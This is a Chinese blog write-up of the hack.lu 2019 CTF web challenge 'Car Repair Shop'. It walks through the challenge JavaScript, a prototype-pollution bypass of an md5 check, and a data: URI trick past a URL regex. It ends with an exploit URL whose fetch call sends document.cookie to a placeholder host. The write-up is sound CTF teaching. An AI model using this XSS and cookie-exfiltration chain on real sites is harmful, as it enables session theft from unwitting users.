hack.lu 2019 - Car Repair Shop

hack.lu 2019 - Car Repair Shop

十月 26, 2019

hack.lu 2019 - Car Repair Shop

周末打了一下hack.lu 2019,这一题跟两个师傅饶了很久也没出来,Orz这里复现一下 :D

Car Repair Shop

1572079215956

按钮可以触发对应功能,但是repair没啥用

右下角有个Get your cookie!按钮,会进入一个url提交按钮,猜测可能是个xss

查看源代码,题目有关的js文件如下

  • jquery.min.js

  • jquery.md5.js

  • car.class.js

  • util.js

  • car.key.js

jquery的没啥好看的,先看car.class.js

class Car {
    constructor(type, model, color, pic, key="") {
        this.type = type
        this.model = model
        this.color = color
        this.key = key
        this.pic = pic

        let started = false
        this.start = () => {
            started = true
        }
        this.isStarted = () => {
            return started
        }
    }
    powerOn() {
        if (this.isStarted()) {
            infobox(`Well Done!`)
            nextCar()

        } else {
            $('.chargeup')[0].play()
        }
    }
    info() {
        infobox(`This car is a ${this.type} ${this.model} in ${this.color}. It looks very nice! But it seems to be broken ...`)
    }
    repair() {
        if(urlParams.has('repair')) {
            $.extend(true, this, JSON.parse(urlParams.get('repair')))
        }
    }
    light() {
        infobox(`You turn on the lights ... Nothing happens.`)
    }
    battery() {
        infobox(`Hmmm, the battery is almost empty ... Maybe i can repair this somehow.`)
    }
    ignition() {
        if (this.key == "") {
            infobox(`Looks like the key got lost. No wonder the car is not starting ...`)
        }
        if (this.key == "🔑") {
            infobox(`The car started!`)
            this.start()
        }
    }
}

定义了一个Car的类,定义了一些方法,主要看不能触发的repair

repair() {
        if(urlParams.has('repair')) {
            $.extend(true, this, JSON.parse(urlParams.get('repair')))
        }
    }

合并属性的操作,将传来的json属性和原来的Car对象合并

想到js的原型链污染漏洞,可以覆盖Car的__proto__属性

const urlParams = new URLSearchParams(window.location.search)
const h = location.hash.slice(1)
const bugatti = new Car('Bugatti', 'T35', 'green', 'assets/images/bugatti.png')
const porsche = new Car('Porsche', '911', 'yellow', 'assets/images/porsche.png')

const cars = [bugatti, porsche]

porsche.repair = () => {
    if(!bugatti.isStarted()){
        infobox(`Not so fast. Repair the other car first!`)
    }
    else if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
        if(urlParams.has('help')) {
            repairWithHelper(urlParams.get('help'))
        }
    }
    else{
        infobox(`Repairing this is not that easy.`)
    }
}
porsche.ignition = () => {
    infobox(`Hmm ... WTF!`)
}

$(document).ready(() => {
    const [car] = cars
    $('.fa-power-off').click(() => car.powerOn())
    $('.fa-car').click(() => car.info())
    $('.fa-lightbulb-o').click(() => car.light())
    $('.fa-battery-quarter').click(() => car.battery())
    $('.fa-key').click(() => car.ignition())
    $('.fa-wrench').click(() => car.repair())

    $('.fa-step-forward').click(() => nextCar())

    if(h.includes('Bugatti'))
        autoStart(bugatti)
    if(h.includes('Porsche'))
        autoStart(porsche)
})


const nextCar = () => {
    cars.push(cars.shift())
    $(".image").attr('src', cars[0].pic);
}


const autoStart = (car) => {
    car.repair()
    car.ignition()
    car.powerOn()
}


const repairWithHelper = (src) => {
    /* who needs csp anyways !? */
    urlRegx = /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/;
    if (urlRegx.test(src)) {
        let s = document.createElement('script')
        s.src = src
        $('head').append(s)
    }
}


const infobox = (text) => {
    $('a').css({'pointer-events': 'none', 'border': 'none'})
    $('.infobox').addClass('infoAnimate')
        .text(text)
        .on('animationend', function() {
            $(this).removeClass('infoAnimate')
            $('a').css({'pointer-events': 'all', 'border': 'solid 1px rgba(255, 255, 255, .25)'})
    })

}

autoStart方法把repair,ignition,poweron当做参数调用

Porsche需要先修好Bugatti

我们开始尝试修第一辆车Bugatti,this.key == “🔑”才能启动

利用前面的json与Car属性合并,传一个key过去,点一下repair

1572080917732

车启动了

porsche.repair = () => {
    if(!bugatti.isStarted()){
        infobox(`Not so fast. Repair the other car first!`)
    }
    else if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
        if(urlParams.has('help')) {
            repairWithHelper(urlParams.get('help'))
        }
    }
    else{
        infobox(`Repairing this is not that easy.`)
    }
}

这边对porscherepair方法做了重新定义

  1. 需要bugatti先被启动

  2. md5(porsche) == ‘9cdfb439c7876e703e307864c9167a15

    1572082136012

第一个只需要设置key正确

第二个绕过有点麻烦,它其实调用了jquery.md5.js的md5加密,但是我们没法去修改函数方法,后来发现javascript的数组在转换成字符串的时候,将会转变为用连接的字符串形式

1572082648152

利用_proto_

1572083057331

尝试payload:

1572231487034

发现此时的原型链已经污染成功,md5验证也绕过了

此时,我们可以请求repairwithHelper函数

const repairWithHelper = (src) => {
    /* who needs csp anyways !? */
    urlRegx = /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/;
    if (urlRegx.test(src)) {
        let s = document.createElement('script')
        s.src = src
        $('head').append(s)
    }
}

当时主要就卡在了这个正则的绕过上面。

分析一下这个方法,创建了一个script

help提供一个url,限制在

xxxx[x]://car-repair-shop.fluxfingersforfuture.fluxfingers.net/(.*?).js

国外老哥发现data:[<MIME-Type>][;charset=<Charset>][;base64],<Data>.会触发js

Orz

js触发poc

https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={%22key%22:%22%F0%9F%94%91%22,%22__proto__%22:%20{%22__proto__%22:%20[%22lol%22\]}}&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/text/javascript,alert(123)//.js#BugattiPorsche

然后我们就可以去写exp了

https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={%22key%22:%22%F0%9F%94%91%22,%22__proto__%22:%20{%22__proto__%22:%20[%22lol%22]}}&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/text/javascript,fetch(%22xxxxxx//%22%2Bdocument.cookie)//.js#BugattiPorsche

本文作者: Char0n
本文地址: http://charon.xin/2019/10/26/hack-lu-2019-Car-Repair-Shop/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 CN 许可协议。转载请注明出处!